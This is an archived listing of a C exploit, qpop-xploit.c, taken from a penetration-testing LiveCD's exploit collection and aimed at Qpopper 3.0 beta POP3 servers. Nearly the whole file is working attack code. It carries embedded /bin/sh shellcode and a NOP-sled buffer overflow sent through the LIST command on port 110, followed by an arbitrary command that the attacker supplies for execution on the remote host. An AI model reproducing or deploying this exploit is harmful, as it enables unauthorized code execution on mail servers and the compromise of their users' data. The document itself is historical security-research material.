home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / pop3 / qpop-xploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  258 lines

  1. /*
  2.  * !Hispahack Research Team
  3.  * http://hispahack.ccc.de
  4.  *
  5.  * By Zhodiac <zhodiac@softhome.net>
  6.  *
  7.  * Linux (x86) Qpopper xploit 3.0beta29 or lower (not 2.53)
  8.  * Overflow at pop_list()->pop_msg()
  9.  *
  10.  *   Tested: (overflowable)
  11.  *
  12.  *           3.0beta28  offset=0
  13.  *           3.0beta26  offset=0
  14.  *           3.0beta25  offset=0
  15.  *
  16.  * Untested: (but overflowable)
  17.  *
  18.  *           3.0beta29
  19.  *           3.0beta28
  20.  *           3.0beta27
  21.  *           3.0beta26
  22.  *           3.0beta25
  23.  *           3.0beta24
  24.  *           3.0beta23
  25.  *           3.0beta22
  26.  *           3.0beta21
  27.  *           3.0beta20
  28.  *           3.0beta19
  29.  *           3.0beta18
  30.  *           3.0beta17
  31.  *           3.0beta16
  32.  *           3.0beta15
  33.  *           3.0beta14
  34.  *           3.0beta13
  35.  *           3.0beta12
  36.  *           3.0beta11
  37.  *           3.0beta10
  38.  *           3.0beta9
  39.  *           3.0beta8
  40.  *           3.0beta7
  41.  *           3.0beta6
  42.  *           3.0beta5
  43.  *           3.0beta4
  44.  *           3.0beta3
  45.  *           3.0beta2
  46.  *           3.0beta1
  47.  *           3.0 *
  48.  *
  49.  * #include <standar/disclaimer.h>
  50.  *
  51.  * This code is dedicated to my love [CrAsH]] and to all the people who
  52.  * were raided in Spain in the last few days.
  53.  *
  54.  * Madrid 10/1/2000
  55.  *
  56.  * missnglnk <missnglnk@tribune.intranova.net>
  57.  * - Allows you to specify the command to execute on the remote host,
  58.  *   and added network support to the program so you do not need netcat
  59.  *   to use this.
  60.  */
  61.  
  62. #include <stdio.h>
  63. #include <stdlib.h>
  64. #include <unistd.h>
  65. #include <sys/socket.h>
  66. #include <sys/types.h>
  67. #include <netdb.h>
  68. #include <netinet/in.h>
  69. #include <arpa/inet.h>
  70.  
  71. #define BUFFERSIZE 1004
  72. #define NOP 0x90
  73. #define OFFSET 0xbfffd9c4
  74. // #define OFFSET 0x0
  75.  
  76. char shellcode[]=
  77.   "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa\x89\xf9\x89"
  78.   "\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04\x03\xcd\x80\x31\xdb\x89"
  79.   "\xd8\x40\xcd\x80\xe8\xd9\xff\xff\xff/bin/sh";
  80.  
  81.  
  82. void usage(char *progname)
  83. {
  84.   fprintf(stderr,"Usage: (%s <hostname> <login> <password> <command> [<offset>]\n",progname);
  85.   exit(1);
  86. }
  87.  
  88. int main(int argc, char **argv)
  89. {
  90.   char *ptr,buffer[BUFFERSIZE],rcvbuf[4096],username[128],password[128],exploit[4096],command[4096];
  91.   unsigned long *long_ptr,offset=OFFSET;
  92.   int aux,sock;
  93.   struct sockaddr_in sin;
  94.   unsigned long ip;
  95.   struct hostent *he;
  96.  
  97.   fprintf(stderr,"\n!Hispahack Research Team (http://hispahack.ccc.de)\n");
  98.   fprintf(stderr,"Qpopper xploit by Zhodiac <zhodiac@softhome.net>\n\n");
  99.  
  100.   if (argc<5) usage(argv[0]);
  101.  
  102.   if (argc==6) offset+=atol(argv[5]);
  103.  
  104.   ptr=buffer;
  105.   memset(ptr,0,sizeof(buffer));
  106.   memset(ptr,NOP,sizeof(buffer)-strlen(shellcode)-16);
  107.   ptr+=sizeof(buffer)-strlen(shellcode)-16;
  108.   memcpy(ptr,shellcode,strlen(shellcode));
  109.   ptr+=strlen(shellcode);
  110.   long_ptr=(unsigned long*)ptr;
  111.   for(aux=0;aux<4;aux++) *(long_ptr++)=offset;
  112.   ptr=(char *)long_ptr;
  113.   *ptr='\0';
  114.  
  115.   fprintf(stderr,"Buffer size: %d\n",strlen(buffer));
  116.   fprintf(stderr,"Offset: 0x%lx\n\n",offset);
  117.  
  118.   snprintf(username, sizeof(username), "USER %s\n",argv[2]);
  119.   snprintf(password, sizeof(password), "PASS %s\n",argv[3]);
  120.   snprintf(exploit, sizeof(exploit), "LIST 1 %s\n",buffer);
  121.   snprintf(command, sizeof(command), "%s\n", argv[4]);
  122.  
  123.   if ((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  124.     {
  125.       perror("socket()");
  126.       return -1;
  127.     }
  128.  
  129.   if ((he = gethostbyname(argv[1])) != NULL)
  130.     {
  131.       ip = *(unsigned long *)he->h_addr;
  132.     }
  133.   else
  134.     {
  135.       if ((ip = inet_addr(argv[1])) == NULL)
  136.         {
  137.           perror("inet_addr()");
  138.           return -1;
  139.         }
  140.     }
  141.  
  142.   sin.sin_family = AF_INET;
  143.   sin.sin_addr.s_addr = ip;
  144.   sin.sin_port = htons(110);
  145.  
  146.   if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
  147.     {
  148.       perror("connect()");
  149.       return -1;
  150.     }
  151.  
  152.   if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0)
  153.     {
  154.       perror("read()");
  155.       return -1;
  156.     }
  157.  
  158.   if (strstr(rcvbuf, "+OK") == NULL)
  159.     {
  160.       printf("Server didnt respond with ok\n");
  161.       rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  162.       printf("\t%s\n", rcvbuf);
  163.       return -1;
  164.     }
  165.  
  166.   rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  167.   printf("\t%s\n", rcvbuf);
  168.   bzero(rcvbuf, sizeof(rcvbuf));
  169.  
  170.   if (write(sock, username, strlen(username)) < strlen(username))
  171.     {
  172.       perror("write()");
  173.       return -1;
  174.     }
  175.  
  176.   if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0)
  177.     {
  178.       perror("read()");
  179.       return -1;
  180.     }
  181.  
  182.   if (strstr(rcvbuf, "+OK") == NULL)
  183.     {
  184.       printf("Server didnt respond with username ok\n");
  185.       rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  186.       printf("\t%s\n", rcvbuf);
  187.       return -1;
  188.     }
  189.  
  190.   rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  191.   printf("\t%s\n", rcvbuf);
  192.   bzero(rcvbuf, sizeof(rcvbuf));
  193.  
  194.   if (write(sock, password, strlen(password)) < strlen(password))
  195.     {
  196.       perror("write()");
  197.       return -1;
  198.     }
  199.  
  200.   if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0)
  201.     {
  202.       perror("read()");
  203.       return -1;
  204.     }
  205.  
  206.   if (strstr(rcvbuf, "+OK") == NULL)
  207.     {
  208.       printf("Server didnt respond with password ok\n");
  209.       rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  210.       printf("\t%s\n", rcvbuf);
  211.       return -1;
  212.     }
  213.  
  214.   rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  215.   printf("\t%s\n", rcvbuf);
  216.   bzero(rcvbuf, sizeof(rcvbuf));
  217.  
  218.   if (write(sock, exploit, strlen(exploit)) < strlen(exploit))
  219.     {
  220.       perror("write()");
  221.       return -1;
  222.     }
  223.  
  224.   if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0)
  225.     {
  226.       perror("read()");
  227.       return -1;
  228.     }
  229.  
  230.   rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  231.   printf("\t%s\n", rcvbuf);
  232.   bzero(rcvbuf, sizeof(rcvbuf));
  233.  
  234.   if (write(sock, command, strlen(command)) < strlen(command))
  235.     {
  236.       perror("write()");
  237.       return -1;
  238.     }
  239.  
  240.   if (read(sock, rcvbuf, sizeof(rcvbuf)) < 0)
  241.     {
  242.       perror("read()");
  243.       return -1;
  244.     }
  245.  
  246.   rcvbuf[(strlen(rcvbuf) - 1)] = '\0';
  247.   printf("\t%s\n", rcvbuf);
  248.   bzero(rcvbuf, sizeof(rcvbuf));
  249.  
  250.   if (close(sock) < 0)
  251.     {
  252.       perror("close()");
  253.       return -1;
  254.     }
  255.  
  256.   return(0);
  257. }
  258. /*                    www.hack.co.za                  [29 Feb 2000]*/